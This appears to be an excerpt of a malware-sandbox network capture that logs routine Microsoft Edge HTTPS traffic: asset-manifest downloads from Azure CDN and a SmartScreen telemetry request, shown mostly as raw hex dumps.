2024-11-13 13:41:32 UTC	15828	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-13 13:41:32 UTC	16384	IN	Data Raw: 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 b1 dc 86 43 a9 41 db Data Ascii: e\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7CA
2024-11-13 13:41:32 UTC	16384	IN	Data Raw: 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd f5 40 34 cd c4 ce 27 Data Ascii: kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q@4'
2024-11-13 13:41:32 UTC	16384	IN	Data Raw: 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 84 fb 4f 5b 04 9b a8 Data Ascii: _CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}eO[
2024-11-13 13:41:32 UTC	5227	IN	Data Raw: 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 e6 0e 92 0c 4e 75 b7 Data Ascii: a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(Nu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.7	49871	13.107.246.57	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:31 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 13:41:31 UTC	577	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:31 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 6d5c7e92-401e-0049-21b4-2e5b67000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241113T134131Z-16547b76f7f9bs6dhC1DFWt3rg0000000h8g000000003ck7 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-13 13:41:31 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-13 13:41:31 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-13 13:41:31 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-13 13:41:31 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-13 13:41:31 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-13 13:41:31 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-13 13:41:32 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-13 13:41:32 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-13 13:41:32 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-13 13:41:32 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.7	49880	4.153.29.52	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:32 UTC	734	OUT	POST /api/browser/edge/data/toptraffic/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiRjlDYVczY0cwTktpZ08xbGc3OEp2dz09IiwgImhhc2giOiJlRFluRjZNdytIVT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "170540185939602997400506234197983529371" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-13 13:41:32 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-13 13:41:32 UTC	252	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:32 GMT Content-Type: application/octet-stream Content-Length: 460992 Connection: close Server: Kestrel ETag: "638004170464094982" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-11-13 13:41:32 UTC	16132	IN	Data Raw: 00 01 b7 32 6c 49 bd 35 18 3c 43 00 3b d3 7b 9a 00 08 16 f5 5f 2b 6a 45 e7 a6 60 9a c2 7d 9c 16 00 0c 2d 9e cc 04 23 e9 41 f4 82 16 a9 4b 52 db 00 0c 6c e3 4d 30 2c 73 87 bc fb 29 94 39 d4 c2 00 0c b4 d9 e2 eb e5 8f d8 b5 78 ca fa c6 82 9e 00 0c da 46 f1 62 1d cd 1e ab c5 cd 6a 55 ed dc 00 0e 79 d2 8a 68 27 a0 d5 e5 e5 89 bf 4c 3c 1f 00 12 2a 1f c4 5a 99 f8 2a 25 e9 2a 92 1a f6 5f 00 14 b2 67 12 34 79 75 12 bc d6 99 a8 99 1c cc 00 14 c8 bf 10 27 63 3d b9 cd 49 30 99 bf d3 a1 00 17 f8 9d 81 a3 94 71 57 f8 bf 3c 3a 4e ba d2 00 1a 3c bc a6 55 f9 2c 4d 69 94 e9 c9 5f b9 8c 00 1f 17 b3 27 28 0e f5 55 df 39 10 21 05 ce 96 00 1f bc ff bf d8 75 92 d1 13 89 37 0b 86 dc 34 00 20 98 bc 45 61 f8 b8 0d 34 2e 2b fb 37 39 6b 00 21 54 ca 2d 35 57 fb 9f 21 b8 d7 9a 40 2b Data Ascii: 2lI5<C;{_+jE`}-#AKRlM0,s)9xFbjUyh'L<Z%*_g4yu'c=I0qW<:N<U,Mi_'(U9!u74 Ea4.+79k!T-5W!@+
2024-11-13 13:41:32 UTC	16384	IN	Data Raw: b8 6c 65 b5 81 d7 e8 96 a2 f6 fb f5 08 e9 4a 27 41 5a ef 9e 20 88 b1 dd 92 43 f1 c7 08 f6 31 2a b4 6b b0 d0 7b af f2 6e c0 3b 30 49 08 f7 14 46 2e c2 8e a1 9b 56 f6 89 ff 89 a1 a1 08 f8 86 49 94 74 f7 df c7 92 d3 f1 d5 09 db a4 08 f9 bb 85 2c 48 b7 6a b2 fe 9c 06 4c 91 ba af 08 fb 12 e5 67 95 f2 51 95 31 42 c4 14 92 6c 77 08 fb aa 20 c5 0c 96 4a 9a 6f 2e 40 d4 2b fd 90 08 fe aa 92 f9 b3 b3 8f b8 65 27 9b b9 df 14 f7 09 00 34 db 44 0d dd 66 70 53 8f 0b 31 18 8b ba 09 05 38 28 fa 80 5f eb 56 83 46 d1 dd 83 34 b7 09 06 35 0d 42 c1 3f 91 ee 97 ed f4 31 68 37 32 09 08 35 c9 14 24 10 2f b5 80 ac f7 9a 16 e6 e2 09 08 7a 82 38 a3 08 0b 00 2c 62 9c d0 2e d2 c4 09 09 d1 